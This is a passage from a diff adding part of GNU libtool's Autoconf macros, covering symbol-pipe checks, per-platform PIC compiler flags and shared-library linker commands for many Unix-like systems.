conftest${ac_exeext}; then + pipe_works=yes + fi + LIBS="$lt_save_LIBS" + CFLAGS="$lt_save_CFLAGS" + else + echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD + fi + else + echo "cannot find nm_test_var in $nlist" >&AS_MESSAGE_LOG_FD + fi + else + echo "cannot run $lt_cv_sys_global_symbol_pipe" >&AS_MESSAGE_LOG_FD + fi + else + echo "$progname: failed program was:" >&AS_MESSAGE_LOG_FD + cat conftest.$ac_ext >&5 + fi + rm -f conftest* conftst* + + # Do not use the global_symbol_pipe unless it works. + if test "$pipe_works" = yes; then + break + else + lt_cv_sys_global_symbol_pipe= + fi +done +]) +if test -z "$lt_cv_sys_global_symbol_pipe"; then + lt_cv_sys_global_symbol_to_cdecl= +fi +if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then + AC_MSG_RESULT(failed) +else + AC_MSG_RESULT(ok) +fi +]) # AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE + + +# AC_LIBTOOL_PROG_COMPILER_PIC([TAGNAME]) +# --------------------------------------- +AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_PIC], +[_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)= +_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= +_LT_AC_TAGVAR(lt_prog_compiler_static, $1)= + +AC_MSG_CHECKING([for $compiler option to produce PIC]) + ifelse([$1],[CXX],[ + # C++ specific cases for pic, static, wl, etc. + if test "$GXX" = yes; then + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + fi + ;; + amigaos*) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the `-m68020' flag to GCC prevents building anything better, + # like `-m68040'. + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4' + ;; + beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + mingw* | os2* | pw32*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT' + ;; + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common' + ;; + *djgpp*) + # DJGPP does not support shared libraries at all + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= + ;; + sysv4*MP*) + if test -d /usr/nec; then + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic + fi + ;; + hpux*) + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + esac + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + esac + else + case $host_os in + aix4* | aix5*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + else + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp' + fi + ;; + chorus*) + case $cc_basename in + cxch68) + # Green Hills C++ Compiler + # _LT_AC_TAGVAR(lt_prog_compiler_static, $1)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a" + ;; + esac + ;; + darwin*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + case "$cc_basename" in + xlc*) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-qnocommon' + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + ;; + esac + ;; + dgux*) + case $cc_basename in + ec++) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + ;; + ghcx) + # Green Hills C++ Compiler + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + ;; + *) + ;; + esac + ;; + freebsd* | kfreebsd*-gnu) + # FreeBSD uses GNU C++ + ;; + hpux9* | hpux10* | hpux11*) + case $cc_basename in + CC) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)="${ac_cv_prog_cc_wl}-a ${ac_cv_prog_cc_wl}archive" + if test "$host_cpu" != ia64; then + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z' + fi + ;; + aCC) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)="${ac_cv_prog_cc_wl}-a ${ac_cv_prog_cc_wl}archive" + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z' + ;; + esac + ;; + *) + ;; + esac + ;; + irix5* | irix6* | nonstopux*) + case $cc_basename in + CC) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + # CC pic flag -KPIC is the default. + ;; + *) + ;; + esac + ;; + linux*) + case $cc_basename in + KCC) + # KAI C++ Compiler + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + icpc) + # Intel C++ + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static' + ;; + cxx) + # Compaq C++ + # Make sure the PIC flag is empty. It appears that all Alpha + # Linux and Compaq Tru64 Unix objects are PIC. + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + *) + ;; + esac + ;; + lynxos*) + ;; + m88k*) + ;; + mvs*) + case $cc_basename in + cxx) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-W c,exportall' + ;; + *) + ;; + esac + ;; + netbsd*) + ;; + osf3* | osf4* | osf5*) + case $cc_basename in + KCC) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,' + ;; + RCC) + # Rational C++ 2.4.1 + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + ;; + cxx) + # Digital/Compaq C++ + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # Make sure the PIC flag is empty. It appears that all Alpha + # Linux and Compaq Tru64 Unix objects are PIC. + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + *) + ;; + esac + ;; + psos*) + ;; + sco*) + case $cc_basename in + CC) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + *) + ;; + esac + ;; + solaris*) + case $cc_basename in + CC) + # Sun C++ 4.2, 5.x and Centerline C++ + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ' + ;; + gcx) + # Green Hills C++ Compiler + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-PIC' + ;; + *) + ;; + esac + ;; + sunos4*) + case $cc_basename in + CC) + # Sun C++ 4.x + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + lcc) + # Lucid + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + ;; + *) + ;; + esac + ;; + tandem*) + case $cc_basename in + NCC) + # NonStop-UX NCC 3.20 + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + ;; + *) + ;; + esac + ;; + unixware*) + ;; + vxworks*) + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no + ;; + esac + fi +], +[ + if test "$GCC" = yes; then + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + fi + ;; + + amigaos*) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the `-m68020' flag to GCC prevents building anything better, + # like `-m68040'. + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4' + ;; + + beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT' + ;; + + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common' + ;; + + msdosdjgpp*) + # Just because we use GCC doesn't mean we suddenly get shared libraries + # on systems that don't support them. + _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no + enable_shared=no + ;; + + sysv4*MP*) + if test -d /usr/nec; then + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic + fi + ;; + + hpux*) + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + esac + ;; + + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + esac + else + # PORTME Check for flag to pass linker flags through the system compiler. + case $host_os in + aix*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + else + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp' + fi + ;; + darwin*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + case "$cc_basename" in + xlc*) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-qnocommon' + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + ;; + esac + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT' + ;; + + hpux9* | hpux10* | hpux11*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z' + ;; + esac + # Is there a better lt_prog_compiler_static that works with the bundled CC? + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive' + ;; + + irix5* | irix6* | nonstopux*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # PIC (with -KPIC) is the default. + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + + newsos6) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + linux*) + case $CC in + icc* | ecc*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static' + ;; + ccc*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # All Alpha code is PIC. + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + esac + ;; + + osf3* | osf4* | osf5*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # All OSF/1 code is PIC. + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + + sco3.2v5*) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-Kpic' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-dn' + ;; + + solaris*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + sunos4*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-PIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + sysv4*MP*) + if test -d /usr/nec ;then + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-Kconform_pic' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + fi + ;; + + uts4*) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + *) + _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no + ;; + esac + fi +]) +AC_MSG_RESULT([$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)]) + +# +# Check to make sure the PIC flag actually works. +# +if test -n "$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)"; then + AC_LIBTOOL_COMPILER_OPTION([if $compiler PIC flag $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) works], + _LT_AC_TAGVAR(lt_prog_compiler_pic_works, $1), + [$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)ifelse([$1],[],[ -DPIC],[ifelse([$1],[CXX],[ -DPIC],[])])], [], + [case $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) in + "" | " "*) ;; + *) _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=" $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)" ;; + esac], + [_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= + _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no]) +fi +case "$host_os" in + # For platforms which do not support PIC, -DPIC is meaningless: + *djgpp*) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)="$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)ifelse([$1],[],[ -DPIC],[ifelse([$1],[CXX],[ -DPIC],[])])" + ;; +esac +]) + + +# AC_LIBTOOL_PROG_LD_SHLIBS([TAGNAME]) +# ------------------------------------ +# See if the linker supports building shared libraries. +AC_DEFUN([AC_LIBTOOL_PROG_LD_SHLIBS], +[AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries]) +ifelse([$1],[CXX],[ + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + case $host_os in + aix4* | aix5*) + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to AIX nm, but means don't demangle with GNU nm + if $NM -V 2>&1 | grep 'GNU' > /dev/null; then + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols' + else + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols' + fi + ;; + pw32*) + _LT_AC_TAGVAR(export_symbols_cmds, $1)="$ltdll_cmds" + ;; + cygwin* | mingw*) + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGS]] /s/.* \([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]] /s/.* //'\'' | sort | uniq > $export_symbols' + ;; + *) + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + ;; + esac +],[ + runpath_var= + _LT_AC_TAGVAR(allow_undefined_flag, $1)= + _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=no + _LT_AC_TAGVAR(archive_cmds, $1)= + _LT_AC_TAGVAR(archive_expsym_cmds, $1)= + _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)= + _LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1)= + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)= + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)= + _LT_AC_TAGVAR(thread_safe_flag_spec, $1)= + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)= + _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)= + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)= + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_minus_L, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported + _LT_AC_TAGVAR(link_all_deplibs, $1)=unknown + _LT_AC_TAGVAR(hardcode_automatic, $1)=no + _LT_AC_TAGVAR(module_cmds, $1)= + _LT_AC_TAGVAR(module_expsym_cmds, $1)= + _LT_AC_TAGVAR(always_export_symbols, $1)=no + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + # include_expsyms should be a list of space-separated symbols to be *always* + # included in the symbol list + _LT_AC_TAGVAR(include_expsyms, $1)= + # exclude_expsyms can be an extended regexp of symbols to exclude + # it will be wrapped by ` (' and `)$', so one must not match beginning or + # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc', + # as well as any symbol that contains `d'. + _LT_AC_TAGVAR(exclude_expsyms, $1)="_GLOBAL_OFFSET_TABLE_" + # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out + # platforms (ab)use it in PIC code, but their linkers get confused if + # the symbol is explicitly referenced. Since portable code cannot + # rely on this symbol name, it's probably fine to never include it in + # preloaded symbol tables. + extract_expsyms_cmds= + + case $host_os in + cygwin* | mingw* | pw32*) + # FIXME: the MSVC++ port hasn't been tested in a loooong time + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + if test "$GCC" != yes; then + with_gnu_ld=no + fi + ;; + openbsd*) + with_gnu_ld=no + ;; + esac + + _LT_AC_TAGVAR(ld_shlibs, $1)=yes + if test "$with_gnu_ld" = yes; then + # If archive_cmds runs LD, not CC, wlarc should be empty + wlarc='${wl}' + + # See if GNU ld supports shared libraries. + case $host_os in + aix3* | aix4* | aix5*) + # On AIX/PPC, the GNU linker is very broken + if test "$host_cpu" != ia64; then + _LT_AC_TAGVAR(ld_shlibs, $1)=no + cat <<EOF 1>&2 + +*** Warning: the GNU linker, at least up to release 2.9.1, is reported +*** to be unable to reliably create shared libraries on AIX. +*** Therefore, libtool is disabling shared libraries support. If you +*** really care for shared libraries, you may want to modify your PATH +*** so that a non-GNU linker is found, and then restart. + +EOF + fi + ;; + + amigaos*) + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + + # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports + # that the semantics of dynamic libraries on AmigaOS, at least up + # to version 4, is to share data among multiple programs linked + # with the same dynamic library. Since this doesn't match the + # behavior of shared libraries on other platforms, we can't use + # them. + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + + beos*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + # Joseph Beckenbach <jrb3@best.com> says some releases of gcc + # support --undefined. This deserves some investigation. FIXME + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + else + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + + cygwin* | mingw* | pw32*) + # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless, + # as there is no search path for DLLs. + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_AC_TAGVAR(always_export_symbols, $1)=no + _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGS]] /s/.* \([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]] /s/.* //'\'' | sort | uniq > $export_symbols' + + if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + # If the export-symbols file already is a .def file (1st line + # is EXPORTS), use it as is; otherwise, prepend... + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + else + ld_shlibs=no + fi + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib' + wlarc= + else + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + fi + ;; + + solaris* | sysv5*) + if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then + _LT_AC_TAGVAR(ld_shlibs, $1)=no + cat <<EOF 1>&2 + +*** Warning: The releases 2.8.* of the GNU linker cannot reliably +*** create shared libraries on Solaris systems. Therefore, libtool +*** is disabling shared libraries support. We urge you to upgrade GNU +*** binutils to release 2.9.1 or newer. Another option is to modify +*** your PATH or compiler configuration so that the native linker is +*** used, and then restart. + +EOF + elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + + sunos4*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags' + wlarc= + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + linux*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + tmp_archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_cmds, $1)="$tmp_archive_cmds" + supports_anon_versioning=no + case `$LD -v 2>/dev/null` in + *\ [01].* | *\ 2.[[0-9]].* | *\ 2.10.*) ;; # catch versions < 2.11 + *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ... + *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ... + *\ 2.11.*) ;; # other 2.11 versions + *) supports_anon_versioning=yes ;; + esac + if test $supports_anon_versioning = yes; then + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $output_objdir/$libname.ver~ +cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ +$echo "local: *; };" >> $output_objdir/$libname.ver~ + $CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' + else + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="$tmp_archive_cmds" + fi + else + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + + *) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + + if test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = yes; then + runpath_var=LD_RUN_PATH + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' + # ancient GNU ld didn't support --whole-archive et. al. + if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + else + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)= + fi + fi + else + # PORTME fill in a description of your system's linker (not GNU ld) + case $host_os in + aix3*) + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_AC_TAGVAR(always_export_symbols, $1)=yes + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname' + # Note: this linker hardcodes the directories in LIBPATH if there + # are no directories specified by -L. + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + if test "$GCC" = yes && test -z "$link_static_flag"; then + # Neither direct hardcoding nor static linking is supported with a + # broken collect2. + _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported + fi + ;; + + aix4* | aix5*) + if test "$host_cpu" = ia64; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag="" + else + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to AIX nm, but means don't demangle with GNU nm + if $NM -V 2>&1 | grep 'GNU' > /dev/null; then + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols' + else + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols' + fi + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # need to do runtime linking. + case $host_os in aix4.[[23]]|aix4.[[23]].*|aix5*) + for ld_flag in $LDFLAGS; do + if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then + 